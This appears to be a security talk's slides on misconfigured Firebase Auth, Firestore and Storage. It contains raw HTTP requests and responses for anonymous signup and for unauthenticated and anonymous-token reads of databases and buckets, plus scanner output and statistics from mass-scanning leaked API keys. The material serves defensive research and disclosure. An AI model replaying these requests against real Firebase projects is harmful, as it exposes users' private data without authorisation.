

# Identifying and securing Firebase vulnerabilities



# Firebase features

## Auth

Authentication provider that can be utilized in all Firebase services/products. Similar to AWS Cognito.

Supports multiple handlers: Email & password, social login and more.

## Firestore

NoSQL document database to store data from various sources at scale.

Similar to AWS DynamoDB

## Firebase Storage

File storage system similar to AWS S3.

# Research process

## Manual testing

### Targeted testing

- Custom vulnerable instances to identify
- Targeted organizations testing

## Open source scan

### Sourcegraph + GitHub

- Identify potential vulnerable patterns
- Pulled about 15000 repositories that contained firebase API keys.

## Scan everything

### Common Crawl

- Stored scanned results for web application
- Credit to Andres Riancho for Blackhat talk on AWS Cognito.



# Common Vulnerability Patterns

# Firebase auth

- Common providers used:
  - Email & password
  - Social providers
    - Twitter
    - Google
    - Facebook
- Commonality with AWS Cognito
  - **Anonymous login**
  - AWS Cognito: Can be used to get a AWS credential linked to an IAM
  - Firebase Auth: Can be used to retrieve anonymous tokens



# Testing: Firebase anonymous auth

- Regular login request

```
POST /v1/accounts:signIn?key=FIREBASE_API_KEY HTTP/2
Host: identitytoolkit.googleapis.com
Content-Type: application/json
Accept: */*
X-Client-Version: iOS/FirebaseSDK/10.3.0/FirebaseCore-iOS
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Length: 107
User-Agent: FirebaseAuth.iOS/10.3.0 iPhone/16.0
hw/iPhone13_4

{
  "returnSecureToken":true,
  "email":"mockuser@example.com",
  "password":"AlphaTangoRomeo#3819"
}
```

# Testing: Firebase anonymous auth

- Anonymous login request

```
POST /v1/accounts:signUp?key=GOOGLE_API_KEY HTTP/2
Host: identitytoolkit.googleapis.com
Content-Type: application/json
Accept: */*
X-Client-Version: iOS/FirebaseSDK/10.3.0/FirebaseCore-iOS
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Length: 31
User-Agent: FirebaseAuth.iOS/10.3.0 iPhone/16.0
hw/iPhone13_4

{
  "returnSecureToken":true
}
```

```

1 HTTP/2 200 OK
2 Expires: Mon, 01 Jan 1990 00:00:00 GMT
3 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
4 Pragma: no-cache
5 Date: Fri, 17 Mar 2023 15:54:27 GMT
6 Content-Type: application/json; charset=UTF-8
7 Vary: Origin
8 Vary: X-Origin
9 Vary: Referer
10 Server: ESF
11 Content-Length: 1223
12 X-Xss-Protection: 0
13 X-Frame-Options: SAMEORIGIN
14 X-Content-Type-Options: nosniff
15 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
16
17 {
18   "kind": "identitytoolkit#SignupNewUserResponse",
19   "idToken":
20     "eyJhbGciOiJSUzI1NiIsImtpZCI6IjFlOTczZWUwZTE2ZjdlZkY0Zjk5MQQlMGRjNjFnKnZBimMmVmdWZjMTkxLGlCOeXHAioiKV1qIiwieyJwcm92aWR1c2l0p2Ci6mPub255bn9lcysIm1zcyl6ImhmHBzoi8vc2VjdXklIG9rZW4uZDZ9v2Zx1LmNbVsS9OZXNO2mlyZkNOB3JlLTc2ZDY0IiwiaXYVkIjoicidGVzG2gpcmcVzdG9yZS03NmQ2NCIsImF1dGhfGlttZSI6MTY3OTA2ODQ2NDwydXNlcl9pZC16IkluWmtkIGtGTGSREhNHBIU9JRJDJPZhaaTeilCJzdwIoiJNblpbobUjIRKxiUKRIRTRWCFPSOuYT2c4WmkxxiiawfOIjoxNjc5MDY4NDY3LCJleHAIojE2NzkWZnInWjnjsImZpcmV1YXNlIjpw7Imk2Z5oXRpXMiOnt9LCJzaWduX2luX3Bybz3pZGVyIjoieyW5vbntlb3Vzin19.d76GMUwQ6x1Lv69OWMeZs9P0g2FAGLOiwxf41BvyGs4ukm5SEV8uv7NMI2oOpP94WzhQgH8e4NPqxOw5pXMji_wdgssVmwcc-ZDneq_FGHsoD13P7MvnZ4xa80-3Fj8LS0LeW38Aca3WYJq3KctKkWiIS7aNIHcwSCW87FavEy_Ye3Gas2V8VG5Jer2UCv1_c_rKx2St5KqvEst15MVxz2oCPjF8GUjlgR_cPPPDnczCsV5jpZh2UmndU-kntphvpvg21961tV5wuJRAPAOma95EC_5fb4Pz-AMG34Z1A2gsBeX7_fzOKZAHIsFDXahXwmT-QxzwbQHtlxCsXLC2KVQ",
21   "refreshToken":
22     "APJWN8ct9K5cUepXYoG43FMEEPCwg3h-xaQngi2PscF4kTVtnvUWLsba428s5K0pOV3udUY9G2ElkwRNNSUsrfKouJVmfBsdewID_6xPf6AhAXP8frQom_DJL6GYtEtEWLoqtLPHMYedaYordhBcfFcvt6xn9MKdGkbqsgCKQJXJquhdHARJIow4DqK73AiyyKs6trRPH84V40",
23   "expiresIn": "3600",
24   "localId": "MnZhmBHFLbRUHed4puQ0ID2Og8zi"
25 }

```

# Firebase Firestore

- DocumentDB that can be queried via Rest APIs.





```
GET /v1/projects/test111-cde14/databases/(default)/documents/users?pageSize=1 HTTP/1.1
Host: firestore.googleapis.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

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## response

pretty Raw Hex Render

```
{
  "documents": [
    {
      "name": "projects/test111-cde14/databases/(default)/documents/users/19811",
      "fields": {
        "is_admin": {
          "booleanValue": true
        },
        "joined_date": {
          "timestampValue": "2023-08-07T07:00:00.239Z"
        },
        "username": {
          "stringValue": "ok"
        },
        "company_name": {
          "stringValue": "LabsTest"
        },
        "email": {
          "stringValue": "john@labstest.localhost"
        }
      },
      "createTime": "2023-07-10T20:56:19.392629Z",
      "updateTime": "2023-08-11T05:56:17.746756Z"
    }
  ]
}
```

# Firestore: Unauth documents

- Sample vulnerable rule

```
service cloud.firestore {  
  match /databases/{database}/documents {  
    match /{document=**} {  
      allow read, write: if true;  
    }  
  }  
}
```

# Firestore: Unauth specific documents

- Sample vulnerable rule

```
service cloud.firestore {  
  match /databases/{database}/documents {  
    match /users/{document=**} {  
      allow read, write: if request.auth != null;  
    }  
    match /organizations/{document=**} {  
      allow read, write: if true;  
    }  
  }  
}
```

# Firestore: Testing document access

- Unauthenticated access - Any documents
  - Empty result in non-existent document

```
1 GET
  /v1/projects/test111-cde14/databases/(default)/documents/nonexistentdocument?
  pageSize=1 HTTP/1.1
2 Host: firestore.googleapis.com
3 Upgrade-Insecure-Requests: 1
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
5 Accept: application/json
6 Accept-Encoding: gzip, deflate
7 Accept-Language: en-US,en;q=0.9
8
9
```

```
1 HTTP/1.1 200 OK
2 Content-Type: application/json; charset=UTF-8
3 Vary: Origin
4 Vary: X-Origin
5 Vary: Referer
6 Date: Fri, 11 Aug 2023 14:40:15 GMT
7 Server: ESF
8 Cache-Control: private
9 X-XSS-Protection: 0
10 X-Frame-Options: SAMEORIGIN
11 X-Content-Type-Options: nosniff
12 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
13 Content-Length: 3
14
15 {
16 }
```

# Firestore: Testing document access

- Unauthenticated access - Specific Documents

```
GET /v1/projects/test111-cdel4/databases/(default)/documents/organizations?pageSize=1 HTTP/1.1
Host: firestore.googleapis.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.0 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

Search...

## response

pretty Raw Hex Render

```
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Vary: Origin
Vary: X-Origin
Vary: Referer
Date: Fri, 11 Aug 2023 06:14:32 GMT
Server: ESF
Cache-Control: private
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Length: 409
```

```
{
  "documents": [
    {
      "name": "projects/test111-cdel4/databases/(default)/documents/organizations/labtest",
      "fields": {
        "org_admin": {
          "stringValue": "john@labtest.localhost"
        },
        "org_id": {
```

```
GET /v1/projects/test111-cdel4/databases/(default)/documents/users?pageSize=1 HTTP/1.1
Host: firestore.googleapis.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.0 Safari/537.36
Accept: application/json
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
```

Search...

## response

pretty Raw Hex Render

```
HTTP/1.1 403 Forbidden
Vary: Origin
Vary: X-Origin
Vary: Referer
Content-Type: application/json; charset=UTF-8
Date: Fri, 11 Aug 2023 06:13:56 GMT
Server: ESF
Cache-Control: private
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Content-Length: 127
```

```
{
  "error": {
    "code": 403,
    "message": "Missing or insufficient permissions.",
    "status": "PERMISSION_DENIED"
  }
}
```

# Firestore: Authenticated with Anonymous

- Anonymous signup + Auth required Firebase = Access to documents

```

DOST /v/accounts/signup?key=API_KEY HTTP/2
Host: identitytoolkit.googleapis.com
Content-Type: application/json
Accept: */*
X-Client-Version: iOS/FirebaseSDK/10.3.0/FirebaseCore-iOS
Accept-Encoding: gzip, deflate
Accept-Language: en
Content-Length: 31
User-Agent: FirebaseAuth.iOS/10.3.0 iPhone/16.0
hw/iPhone13_4

{
  "returnSecureToken": true
}

1 HTTP/2 200 OK
2 Expires: Mon, 01 Jan 1990 00:00:00 GMT
3 Pragma: no-cache
4 Date: Fri, 11 Aug 2023 06:35:20 GMT
5 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
6 Content-Type: application/json; charset=UTF-8
7 Vary: Origin
8 Vary: X-Origin
9 Vary: Referer
10 Server: ESP
11 Content-Length: 1186
12 X-XSS-Protection: 0
13 X-FRAME-OPTIONS: SAMEORIGIN
14 X-Content-Type-Options: nosniff
15 Alt-Svc: h3="443"; ma=2592000, h3-29="443"; ma=259200
16 {
17   "kind": "identitytoolkit#SignupNewUserResponse",
18   "idToken":
19     "eyJhbGciOiJSUzI1NiIsImtpZCI6ImNmMzI1YWRmZWZhbmNkXmZlbnVlcnVjZCJlbnV5bWVsbWVzLnV1bi1B.yaJaSrEic7OyGXEKZr1VciqAVBl1v038v0ULNle_4vyTswIdYCURPEEAQzaKmZvdplse38tKyXs3infU49VVw3eZLr114QokqdZFyHe9BNMeFOLCoZtmovY2xmedsPSH3Hlyv07HspzbeCkApoorBuSM-wskWoeP-RSG3-BHEZdv0l3r280wlltme-fcJHuayoa4hv0JwvtU_CdKL0Z8njcsdq71j15_30DGxGrtCGdm154fj_CsJV49U7851ClCH3lgkeW7Y8tkoBUHUN4PP_X1zvznDt1_kWSkaxA9i6X06tes8ezpM2ct0tKF7Cn4eqA",
20   "refreshToken":
21     "AfSe-vbMdtmEgJin-mGLZeYkr4wARX8kFXkZEYPYE-7KeelYrjd-gYgvqeQ1BHZ9ccGGExNyMaKIqlgr_vfV8yt0-69-BmuqYA5K9t4SW5Kk_9w-bGfhAcuvqOpqhSkIwx7DOU",
22   "expiresIn": 3600,
23   "localId": "SR6gdKN8kdx3ptI9p5t423BW2v"
24 }
GET /v/projects/testill-cde41/databases/(default)/documents/users?pageSize=1 HTTP/1.1
Host: firestore.googleapis.com
Upgrade-Insecure-Requests: 1
Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6ImNmMzI1YWRmZWZhbmNkXmZlbnVlcnVjZCJlbnV5bWVsbWVzLnV1bi1B.yaJaSrEic7OyGXEKZr1VciqAVBl1v038v0ULNle_4vyTswIdYCURPEEAQzaKmZvdplse38tKyXs3infU49VVw3eZLr114QokqdZFyHe9BNMeFOLCoZtmovY2xmedsPSH3Hlyv07HspzbeCkApoorBuSM-wskWoeP-RSG3-BHEZdv0l3r280wlltme-fcJHuayoa4hv0JwvtU_CdKL0Z8njcsdq71j15_30DGxGrtCGdm154fj_CsJV49U7851ClCH3lgkeW7Y8tkoBUHUN4PP_X1zvznDt1_kWSkaxA9i6X06tes8ezpM2ct0tKF7Cn4eqA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS x 10_0_0; rv:64.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.5414.120 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
HTTP/1.1 200 OK
Content-Type: application/json; charset=UTF-8
Vary: Origin
Vary: X-Origin
Vary: Referer
Date: Fri, 11 Aug 2023 06:38:55 GMT
Server: ESP
Cache-Control: private
X-XSS-Protection: 0
X-FRAME-OPTIONS: SAMEORIGIN
X-Content-Type-Options: nosniff
12 Alt-Svc: h3="443"; ma=2592000, h3-29="443"; ma=2592000
13 Content-Length: 618
14 {
15   "documents": [
16     {
17       "name": "/projects/testill-cde41/databases/(default)/documents/users/19811",
18       "fields": {
19         "email": {
20           "stringValue": "johnlabtest.local@host"
21         },
22         "company_name": {
23           "stringValue": "LabTest"
24         },
25         "username": {
26           "stringValue": "ok"
27         },
28         "is_admin": {
29           "booleanValue": true
30         },
31         "joined_date": {
32           "timestampValue": "2023-08-07T07:00:00.239Z"
33         },
34         "createTime": "2023-07-10T20:56:19.392629Z",
35         "updateTime": "2023-08-11T05:56:17.746756Z"
36       }
37     }
38 ]
39 }

```

# Firebase Storage

- Sample auth rules

```
rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read: if request.auth != null;
    }
  }
}
```

# Firebase Storage

- Sample Unauth rules

```
rules_version = '2';

service firebase.storage {
  match /b/{bucket}/o {
    match /{allPaths=**} {
      allow read: if true;
    }
  }
}
```



# Firebase Storage: Authenticated Access

```
GET /v0/b/test111-cde14.appspot.com/o/ HTTP/2
Host: firebasestorage.googleapis.com
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
```

```
1 HTTP/2 403 Forbidden
2 X-Guploader-Uploadid:
  ADPycdsw2v0sz8K4xIzJ3BtMWa0fPjlMmWfd9nSC
  U7OjXbpbdxrfV5Ap
3 X-Content-Type-Options: nosniff
4 Content-Type: application/json; charset=
5 Access-Control-Expose-Headers: Content-F
6 Access-Control-Allow-Origin: *
7 Date: Fri, 11 Aug 2023 06:51:24 GMT
8 Expires: Fri, 11 Aug 2023 06:51:24 GMT
9 Cache-Control: private, max-age=0
10 Content-Length: 73
11 Server: UploadServer
12 Alt-Svc: h3=":443"; ma=2592000,h3-29=":4
13
14 {
15   "error":{
16     "code":403,
17     "message":"Permission denied."
18   }
19 }
```

# Firebase Storage: Unauthenticated Access

```
1 GET /v0/b/test111-cde14.appspot.com/o/ HTTP/2
2 Host: firebasestorage.googleapis.com
3 Accept-Language: en-US,en;q=0.5
4 Accept-Encoding: gzip, deflate
5 Upgrade-Insecure-Requests: 1
6 Sec-Fetch-Dest: document
7 Sec-Fetch-Mode: navigate
8 Sec-Fetch-Site: none
9 Sec-Fetch-User: ?1
0 Te: trailers
```

```
1 HTTP/2 200 OK
2 X-Guploader-Uploadid:
  ADPycdvH3Bq7KrGfuthsGS2ec9VHDTaCoMVKR7873RRx-aRvU-idD6nG-5tqV4AC_uBX8t
  ar6hCnm9A
3 X-Content-Type-Options: nosniff
4 Content-Type: application/json; charset=UTF-8
5 Access-Control-Expose-Headers: Content-Range, X-Firebase-Storage-XSRF
6 Access-Control-Allow-Origin: *
7 Date: Fri, 11 Aug 2023 06:53:40 GMT
8 Expires: Fri, 11 Aug 2023 06:53:40 GMT
9 Cache-Control: private, max-age=0
10 Content-Length: 126
11 Server: UploadServer
12 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
13
14 {
15   "prefixes":[
16   ],
17   "items":[
18     {
19       "name":"ok\u202eok.txt",
20       "bucket":"test111-cde14.appspot.com"
21     }
22   ]
23 }
```

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# Automating at scale

# Vuln scanning

## Identify API type

- Not all Google API keys are Firebase.
- Identify if a Firebase key is using Identity Toolkit.

## Test Firestore

### **Auth and Unauth access**

- Identify project for a given API key
- Test if firestore is access without authentication
- Test firestore with anonymous token

## Test Firebase storage

### **Auth and unauth access**

- Identify project for given API key.
- Access Firebase Storage without authentication.

# Identify API type

- Accessing the identity toolkit API to list project's domains tells us if the project is using identity toolkit.
- If identity toolkit is enabled, get project name: **project-name.firebaseio.com**

```
1 GET /v1/projects?key=AIzaSyDu0VfJe0PFTOrGLFhQObibMzzJQR6XbT4 HTTP/2
2 Host: identitytoolkit.googleapis.com
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) G
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/a
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Upgrade-Insecure-Requests: 1
8 Sec-Fetch-Dest: document
9 Sec-Fetch-Mode: navigate
10 Sec-Fetch-Site: none
11 Sec-Fetch-User: ?1
12 Te: trailers
13
```

## Response

```
Pretty Raw Hex Render
6 Content-Type: application/json; charset=UTF-8
7 Vary: Origin
8 Vary: X-Origin
9 Vary: Referer
10 Server: ESF
11 Content-Length: 146
12 X-Xss-Protection: 0
13 X-Frame-Options: SAMEORIGIN
14 X-Content-Type-Options: nosniff
15 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
16
17 {
18   "projectId": "702867959013",
19   "authorizedDomains": [
20     "localhost",
21     "test111-cde14.firebaseio.com",
22     "test111-cde14.web.app"
23   ]
24 }
25
```

- While not a vulnerability, anonymous signup could be used later on.

# Firestore - Check unauthenticated access

- Project name from identity toolkit API.
- API call:

[https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/\(default\)/documents/nonexistdocument](https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/(default)/documents/nonexistdocument)

- If 200 with empty result:
  - All documents are accessible without authentication
- If ***Missing or insufficient permissions.***
  - All documents may require authentication
  - Some documents may still be accessible without authentication





# Firestore - Check authenticated access

- Project name from identity toolkit API.
- If API returned “Access Denied” and Anonymous signup is enabled
- API call:

[https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/\(default\)/documents/nonexistdocument](https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/(default)/documents/nonexistdocument) with Authorization header



# Firestore - Check authenticated access

- Project name from identity toolkit API.
- If API returned “Access Denied” and Anonymous signup is enabled
- API call:

[https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/\(default\)/documents/nonexistdocument](https://content-firestore.googleapis.com/v1/projects/test111-cde14/databases/(default)/documents/nonexistdocument) with Authorization header

```

1 GET /v1/projects/test111-cde14/databases/(default)/documents/users?pageSize=1
  HTTP/1.1
2 Host: firestore.googleapis.com
3 Upgrade-Insecure-Requests: 1
4 Authorization: Bearer
  eyJhbGciOiJSUzI1NiIsImtpZCI6ImNmM2I1YWRhM2NhMzkxNTQ4ZDM1OTJiMzU5MjkYm2UzNjAxMm
  I5MTQ0IiLCJ0eXAiOiJKV1QiOiQ.eyJwcm92aWR1cll9pZC6ImPub255bW91cyIsIm1zczyI6Imh0dHBzO
  i8vc2VjdXJldG9rZW4uZ29vZ2x1LmNmVsb30ZSN0MTExLWNkZTE0IiwiaXVxYkIjoiodGVzdDExMS1jZGU
  xNClSiImF1dGhndGltZSI6MTY5MTZtczNTcyMCwidXN1cll9pZC6ImF1NSN1NkS050B0tkeDlwdG1QOTV0N
  FozQ1lyVzYiIiCjZzZWIiOiJlTUJjZTZEeTQThrZhg5cHRpUdk1dRmAM0JWMLcyIiwiaWF0IjoxNjJkxNzM
  1NzIwLCJleHAiOiE2OTE5Z3MzZkZjASImZpcmcViYXN1Ijpw7Im1kZW50aXRpZXM1Ont9LClJzaWduX21uX
  3Byb3ZpZGVyYjoiYV5vbnltb3ZvIn19.A_yaImRrI67QyyGGEZr1VeigAVB1lvO38vUOLVnle_4vyT
  swldYcKUPEAAoAZKm2Vdals7888kbyXzm3lnfU349VvNp3G2LYli4QWqpd2FYh9eBnNmEFOlFcoZYmOV
  VXNwb1l9DS3HJYIcsRQ75DpZpZEq8AFucrtRURm4-WRM0ww7RSFJNEJdT0lVbZr2E0sMltmtj6z
  jBuyaoQ4hv0jMvuIX_CdKLC18lcnrdsg75jlj5_J0DXGRtGdGm154fJ_CsjV49tUJ8sIlZchlngx7W
  Y8IkQBUnH4WPF_XlZvnDntl-k_WSkaxA9i6X06tu8r8e2pm2ct0tKF7Cn4eqA
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
  (KHTML, like Gecko) Chrome/109.0.5414.120 Safari/537.36
6 Accept: application/json
7 Accept-Encoding: gzip, deflate
8 Accept-Language: en-US,en;q=0.9
9
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```

# Storage - Check unauthenticated access

- Project name from identity toolkit API.

- API call:

<https://firebasestorage.googleapis.com/v0/b/project-name.appspot.com/o/>

- If vulnerable: Lists all files in a given storage
- If *Permission Denied* and anonymous sign up enabled
  - Re-send request with Authorization header



# Automation Final

```
rojanrijal@rojanrijal-1175 firebase-test-codes % python3.9 main.py --api AIzaSyCjQ_Gq5p03UCaIxt9mWhakHv4tfadDREs
INFO: > Auditing AIzaSyCjQ_Gq5p03UCaIxt9mWhakHv4tfadDREs
INFO: >> Following projects were guessed for this API Key. testfirestore-76d64
WARNING: >> Anonymous signup is allowed with this API Key.
INFO: >> Testing access for testfirestore-76d64
WARNING: >> Vulnerability: Logged in users (Anonymous) can access firestore collections.
WARNING: >> Vulnerability: Buckets can be dumped by any logged in user (ex: Anonymous user).
rojanrijal@rojanrijal-1175 firebase-test-codes % python3.9 main.py --api AIzaSyDu0VfJe0PFT0rGLFhQ0bibMzzJQR6XbT4
INFO: > Auditing AIzaSyDu0VfJe0PFT0rGLFhQ0bibMzzJQR6XbT4
INFO: >> Following projects were guessed for this API Key. test111-cde14
WARNING: >> Anonymous signup is allowed with this API Key.
INFO: >> Testing access for test111-cde14
WARNING: >> Vulnerability: Logged in users (Anonymous) can access firestore collections.
WARNING: >> Vulnerability: Buckets can be dumped by any logged in user (ex: Anonymous user).
rojanrijal@rojanrijal-1175 firebase-test-codes %
```

# Scanning the web

# Sourcegraph Scans

- 15,000 - Google API keys extracted.
  - 4498 - Unique API keys.
  - 1705 - Identity toolkit enabled
  - **249** had Anonymous Sign up
  - **35** - Unauthenticated Firestore accessible
  - **20** - Unauth Firebase storage accessible
  - **10** - Firestore accessible with auth
  - **5** - Firebase storage accessible with auth
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# Commoncrawl

- 1000 unique Firebase api keys
- 692 - Identity Toolkit enabled
- **80** out of 692 - Anonymous sign up enabled
- **55** - Unauthenticated Firestore DB
- **15** - Unauthenticated Storage buckets
- **10** - Firestore DB accessible with anonymous login
- **10** - Firebase Storage accessible with anonymous login

# Common vulnerable categories

- Early stage startups
- New AI applications built on top of conversational APIs from OpenAI
- Demo applications with real users



# Conclusions & References

- It is common for new companies to mis-configure their firebase instances.
- Securing instances:
  - Strict rules than just **request.auth != null** for example requiring cross-checking data with logged in users' ID.
- AWS Cognito Talk:
  - [https://www.youtube.com/watch?v=\\_Ek0F-Xh57w](https://www.youtube.com/watch?v=_Ek0F-Xh57w)
- Social Media
  - Twitter/X: @uraniumhacker / @TinderEng

